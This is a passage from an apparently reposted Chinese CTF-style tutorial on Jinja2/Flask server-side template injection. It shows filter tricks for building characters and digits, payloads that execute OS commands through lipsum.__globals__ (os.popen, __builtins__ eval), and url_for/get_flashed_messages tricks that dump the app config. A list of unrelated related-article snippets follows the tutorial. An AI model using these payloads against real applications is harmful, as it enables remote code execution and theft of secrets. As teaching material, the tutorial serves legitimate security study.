  • 对于获取一般字符的方法有以下几种:
{% set org = ({ }|select()|string()) %}{{org}}
{% set org = (self|string()) %}{{org}}
{% set org = self|string|urlencode %}{{org}}
{% set org = (app.__doc__|string) %}{{org}}

如下演示:

{% set org = ({ }|select()|string()) %}{{org}}

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

上上图所示,我们可以通过 <generator object select_or_reject at 0x7fe339298fc0> 字符串获取的字符有:尖号、字母、空格、下划线和数字。

{% set org = (self|string()) %}{{org}}

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

如上图所示,可以通过 <TemplateReference None> 字符串获取的字符有:尖号、字母和空格。

{% set org = self|string|urlencode %}{{org}}

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

如上图所示,可以获得的字符除了字母以外还有百分号,这一点比较重要,因为如果我们控制了百分号的话我们可以获取任意字符,这个在下面第二道题中会讲到。

{% set org = (app.__doc__|string) %}{{org}}

如上图所示,可获得到的字符更多了。

  • 对于获取数字,除了刚才出现的那几种外我们还可以有以下几种方法:
{% set num = (self|int) %}{{num}}    # 0, 通过int过滤器获取数字
{% set num = (self|string|length) %}{{num}}    # 24, 通过length过滤器获取数字
{% set point = self|float|string|min %}    # 通过float过滤器获取点 .

有了数字0之后,我们便可以依次将其余的数字全部构造出来,原理就是加减乘除、平方等数学运算。

利用lipsum方法绕过

(<function generate_lorem_ipsum at 0x7fcddfa296a8>)

利用它直接调用__globals__发现可以直接执行os命令,测了一下发现__builtins__也可以用

{{lipsum.__globals__['os'].popen('whoami').read()}}

{{lipsum.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}

{{lipsum.__globals__.__builtins__.__import__('os').popen('whoami').read()}}

Shrine

使用url_for函数获取全局变量得到config得到flag

{{url_for.globals[“current_app”].config}}

{{get_flashed_messages.globals[‘current_app’].config}}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1106269.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

腾讯待办将全面停止运营?关停后有什么其他的好用待办软件推荐

微信是很多用户的手机上必下载的软件。在微信中&#xff0c;可以使用各种各样的功能&#xff0c;其中就包括小程序。在微信小程序中&#xff0c;有不少用户都在使用腾讯待办这款工具&#xff0c;它可以记录待办事项&#xff0c;打钩标记完成&#xff0c;还能通过公众号接收待办…

LeetCode26——删除有序数组中的重复项

LeetCode26——删除有序数组中的重复项 自己的暴力解&#xff08;假设可以使用额外的空间&#xff09;&#xff1a; 时间复杂度&#xff1a;O(N) 空间复杂度&#xff1a;O(N) package keepcoding.leetcode.leetcode26; /*给你一个 非严格递增排列 的数组 nums &#xff0c;请…

MySql 数据库基础概念,基本简单操作及数据类型介绍

文章目录 数据库基础为什么需要数据库&#xff1f;创建数据库mysql架构SQL语句分类编码集修改数据库属性数据库备份 表的基本操作存在时更新&#xff0c;不存在时插入 数据类型日期类型enum和set 数据库基础 以特定的格式保存文件&#xff0c;叫做数据库&#xff0c;这是狭义上…

水浸监测新方法,简单实用,你值得拥有!

随着科技的不断进步&#xff0c;监控系统已成为我们生活中不可或缺的一部分。然而&#xff0c;许多监控系统在面临水浸等自然灾害时显得无能为力&#xff0c;这可能导致严重的损失和危险。 因此&#xff0c;水浸监控系统的需求不断增加&#xff0c;以保护我们的财产和安全。 客…

用户标签管理系统怎么设计?用户标签系统应用场景介绍

随着市场竞争日益激烈&#xff0c;企业对于流量的需求也越来越大。然而&#xff0c;“公域流量”的成本不断攀升&#xff0c;企业难以承担&#xff0c;且转化方式往往是“一次性生意”&#xff0c;无法沉淀为企业自己的数据&#xff0c;因此企业开始转向私域流量的培养。但私域…

满分漏洞!思科未修补的零日漏洞正被积极利用

该漏洞允许攻击者在未进行身份验证的情况下远程获得受影响设备的全部管理员权限。 思科要求客户立即在其所有面向互联网的 IOS XE 设备上禁用 HTTPS 服务器功能&#xff0c;以防止攻击者利用操作系统 Web 用户界面中的一个关键零日漏洞。 思科 IOS XE 是思科用于下一代企业网络…

通讯协议学习之路:UART协议理论

通讯协议之路主要分为两部分&#xff0c;第一部分从理论上面讲解各类协议的通讯原理以及通讯格式&#xff0c;第二部分从具体运用上讲解各类通讯协议的具体应用方法。 后续文章会同时发表在个人博客(jason1016.club)、CSDN&#xff1b;视频会发布在bilibili(UID:399951374) 序、…

国产单片机PY32F002B,32位ARM架构Cortex -M0+内核,性价比高

PY32F002B是普冉推出的新一代入门级32位MCU&#xff0c;内核使用 ARM Cortex M0&#xff0c;主频最高支持到24M&#xff0c;24K FLASH 3K SRAM存储&#xff0c;并支持1.7V~5.5V宽工作电压&#xff0c;-40 ~ 85 C工作温度。拥有1 x 12 位ADC、I2C、SPI、USART、TIM、LPTIM、IWDT…

三相交错LLC软启动控制驱动波形分析--死区时间与占空比关系

三相交错LLC软启动控制驱动波形分析 文章目录 三相交错LLC软启动控制驱动波形分析一、电路原理二、时序分析三、环路分析四、控制策略1.软启动驱动波形趋势2.软启动驱动波形占空图3.软启动驱动波形详细图4.软启动代码分析5.Debug调试界面5.死区时间与实际输出5.1 死区时间50--对…

UnrealEngine5 - Niagara粒子系统问题 当发射器不在视口内时,发射物不可见

最近在弄一点点Niagara粒子系统&#xff0c;发现一个小问题&#xff0c;就是当发射器不在视口内时&#xff08;被物体阻挡也是一样的&#xff09;发射的粒子不可见 解决办法跳转 如下 若往前移动到发射器不在视口内&#xff0c;则发射物不可见 或将其阻挡&#xff08;阻挡物没…

情绪化软文怎么写?媒介盒子分享五大步骤

在网络营销中&#xff0c;情绪化软文通常已经成为品牌营销的重要手段之一&#xff0c;它旨在通过在文案内容中融入情感和故事性的元素&#xff0c;为品牌塑造鲜明的形象&#xff0c;和用户建立情感联系&#xff0c;并促使他们购买产品&#xff0c;提升对品牌的忠诚度&#xff0…

游戏数据分析工具该怎样选择?有哪些选择标准?

选择游戏数据分析工具时&#xff0c;可以考虑以下标准&#xff1a; 1、功能全面性 确保工具提供全面的功能&#xff0c;包括玩家行为分析、性能监测、用户留存率、收入分析等&#xff0c;以满足不同层面的需求。 2、易用性 选择界面友好、易于使用的工具&#xff0c;以确保团…

ros2 UR10仿真包运行

前言 一个月前安装了一下这个包&#xff0c;但是有报错。现在换了一个强劲的电脑&#xff0c;内存64G &#xff0c;显存39G &#xff0c;终于跑起来了&#xff0c;没有报错。网页控制器可以控制RVIZ中的机器人旋转。 vituralBOX中3D加速要勾选&#xff0c;这样才能发挥独立显…

青龙面板安装及配置

一、青龙面板安装 二、初始化配置 首次登录需要进行初始化配置 1、开始安装 2、账号设置 3、通知设置 通知方式 - 钉钉机器人 获取钉钉机器人的token和secret参考如下文章&#xff1a; 获取钉钉机器人的token及secret-CSDN博客 4、完成 5、登录 三、应用 待续

基于SSM的在线教育网站的设计与实现

末尾获取源码 开发语言&#xff1a;Java Java开发工具&#xff1a;JDK1.8 后端框架&#xff1a;SSM 前端&#xff1a;Vue 数据库&#xff1a;MySQL5.7和Navicat管理工具结合 服务器&#xff1a;Tomcat8.5 开发软件&#xff1a;IDEA / Eclipse 是否Maven项目&#xff1a;是 目录…

2023年四川省网络与信息安全技能大赛初赛 团队赛 Writeup

文章目录 Web简单的登录web-game-1-2ezphp2easyLDweb-include-1-1 Pwnjustread ReverseEzGoMediumRev Cryptoeasyhashcrypto-rsa-1-1crypto-classical-1-1 MiscNo.11 is gone2misc-zip-1-1misc-pic-1-1 Web 简单的登录 给了信息 账号为学号密码为电话&#xff0c;写脚本爆破 …

Sectigo DV 通配符证书500元

Sectigo原名Comodo&#xff0c;是知名的CA认证机构。Sectigo旗下的SSL证书品牌产品特点是性价比高、签发速度快&#xff0c;在互联网安全领域&#xff0c;SSL证书的重要性日益凸显。随着数据泄露和网络攻击事件的增加&#xff0c;确保数据传输的安全性已成为当务之急。在这方面…

{大厂漏洞 } OA产品存在SQL注入

0x01 漏洞介绍 江苏叁拾叁-OA是由江苏叁拾叁信息技术有限公司开发的一款OA办公平台&#xff0c;主要有知识管理&#xff0c;工作流程&#xff0c;沟通交流&#xff0c;辅助办公&#xff0c;集成解决方案&#xff0c;应用支撑平台&#xff0c;基础支撑等功能。 该系统也与江苏叁…

stable-diffusion-webui sdxl模型代码分析

采样器这块基本都是用的k-diffusion&#xff0c;模型用的是stability的原生项目generative-models中的sgm&#xff0c;这点和fooocus不同&#xff0c;fooocus底层依赖comfyui中的models&#xff0c;comfy是用load_state_dict的方式解析的&#xff0c;用的load_checkpoint_guess…

RK3568驱动指南|第六篇-平台总线-第55章 初识设备树

瑞芯微RK3568芯片是一款定位中高端的通用型SOC&#xff0c;采用22nm制程工艺&#xff0c;搭载一颗四核Cortex-A55处理器和Mali G52 2EE 图形处理器。RK3568 支持4K 解码和 1080P 编码&#xff0c;支持SATA/PCIE/USB3.0 外围接口。RK3568内置独立NPU&#xff0c;可用于轻量级人工…